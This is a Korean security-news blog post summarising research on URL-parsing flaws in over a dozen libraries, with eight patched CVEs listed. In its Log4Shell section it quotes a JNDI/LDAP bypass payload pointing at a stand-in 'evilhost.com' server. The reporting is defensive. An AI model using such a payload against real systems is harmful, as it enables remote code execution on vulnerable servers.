상세 컨텐츠

본문 제목

유명 URL 파서 라이브러리에서 버그 12개 이상 발견돼

국내외 보안동향

by 알약4 2022. 1. 11. 09:00

본문

Researchers Find Bugs in Over A Dozen Widely Used URL Parser Libraries

 

16개의 서로 다른 URL(Uniform Resource Locator) 파싱 라이브러리에 대한 연구 결과 유효성 검사를 우회하고 광범위한 공격 벡터에 노출시킬 수 있는 취약점이 발견되었습니다.

 

 

<이미지 출처: https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/>

 

 

사이버 보안 회사인 Claroty Synk가 공동으로 수행한 심층 분석을 통해 C, JavaScript, PHP, Python, Ruby 언어로 작성되어 여러 웹 애플리케이션에서 널리 사용되는 많은 써드파티 라이브러리에서 보안 취약점 8개가 발견되었습니다.

 

이들은 The Hacker News와 공유한 보고서에서 아래와 같이 밝혔습니다.

 

"URL 파싱 내 혼란은 소프트웨어(: 웹 응용 프로그램)에서 예기치 않은 동작을 유발시킬 수 있으며, 공격자가 서비스 거부 조건 및 정보 누출을 유발하거나 원격 코드 실행 공격을 수행하기 위해 악용할 수 있습니다."

 

URL은 로컬 또는 웹에 있는 리소스를 요청 및 검색할 수 있는 기본 메커니즘이기 때문에, 파싱 라이브러리가 URL 요청을 해석하는 방식에 차이가 있을 경우 사용자에게 상당한 위험을 초래할 수 있습니다.

 

적절한 사례는 지난 달 유비쿼터스 Log4j 로깅 프레임워크에서 공개된 치명적인 Log4Shell 취약점입니다. 이 취약점은 취약한 애플리케이션으로 평가될 때, 그리고 취약한 애플리케이션이 로깅할 때 악성 공격자가 제어하는 ​​문자열로 인해 발생하며 공격자가 운영하는 서버에 연결하고 임의 Java 코드를 실행하는 JNDI 조회가 발생됩니다.

 

ASF(Apache Software Foundation)는 취약점을 해결하기 위해 신속하게 패치했지만, 이는 "${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}"와 같은 형식으로 특수 제작된 입력을 통해 우회될 수 있다는 점이 곧 밝혀졌습니다. 이를 통해 또 다시 원격 JNDI 조회를 통해 코드 실행이 가능해졌습니다.

 

"이 우회는 JNDI 조회 프로세스 내에서 2개의 다른(!) URL 파서가 사용되었다는 사실에서 비롯됩니다. 하나는 URL의 유효성을 검사하고 다른 하나는 URL을 가져오는 데 사용되며 각 파서가 URL의 조각 부분(#)을 처리하는 방법에 따라 기관도 변경됩니다."

 

 

 

 

특히, 입력이 일반 HTTP URL로 처리되는 경우 Authority 컴포넌트(도메인 이름과 포트 번호의 조합)는 조각 식별자를 만나면 종료되는 반면, LDAP URL로 처리될 경우 파서는 LDP URL 사양이 해당 조각을 설명하지 않기 때문에 "127.0.0[.]1#.evilhost.com:1389" 전체를 기관으로 할당합니다.

 

실제로 여러 파서를 사용하는 것이 8개의 취약점에 대한 두 가지 주요 원인 중 하나로 나타났습니다. 다른 하나는 라이브러리가 서로 다른 URL 사양을 따를 때 발생하는 불일치로 인해 악용 가능한 취약점입니다.

 

불일치 범위는 백슬래시("\")가 포함된 URL, 불규칙한 슬래시(: https:///www.example[.]com), URL 인코딩 데이터("%")가 포함된 URL, URL 스키마가 누락된 URL 등 다양합니다. 이는 원격 코드 실행 또는 서비스 거부(Denial-or-Service), 개방형 리디렉션 피싱 공격 등에 악용될 수 있습니다.

 

발견된 취약점 8개의 목록은 아래와 같으며, 이후 모두 패치되었습니다.

 

Belledonne's SIP Stack (C, CVE-2021-33056)

Video.js (JavaScript, CVE-2021-23414)

Nagios XI (PHP, CVE-2021-37352)

Flask-security (Python, CVE-2021-23385)

Flask-security-too (Python, CVE-2021-32618)

Flask-unchained (Python, CVE-2021-23393)

Flask-User (Python, CVE-2021-23401)

Clearance (Ruby, CVE-2021-23435)

 

연구원들은 아래와 같이 결론지었습니다.

 

"많은 실제 공격 시나리오가 서로 다른 파싱 프리미티브에서 발생할 수 있습니다."

 

“URL 파싱 취약점으로부터 애플리케이션을 보호하려면 어떤 파서가 전체 프로세스에 관여하는지, 파서 간의 차이점, 관용 여부, 다양한 기형 URL을 해석하는 방식, 지원하는 URL 유형을 완전히 이해해야 합니다.”

 

 

 

 

출처:

https://thehackernews.com/2022/01/researchers-find-bugs-in-over-dozen.html

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

관련글 더보기

댓글 영역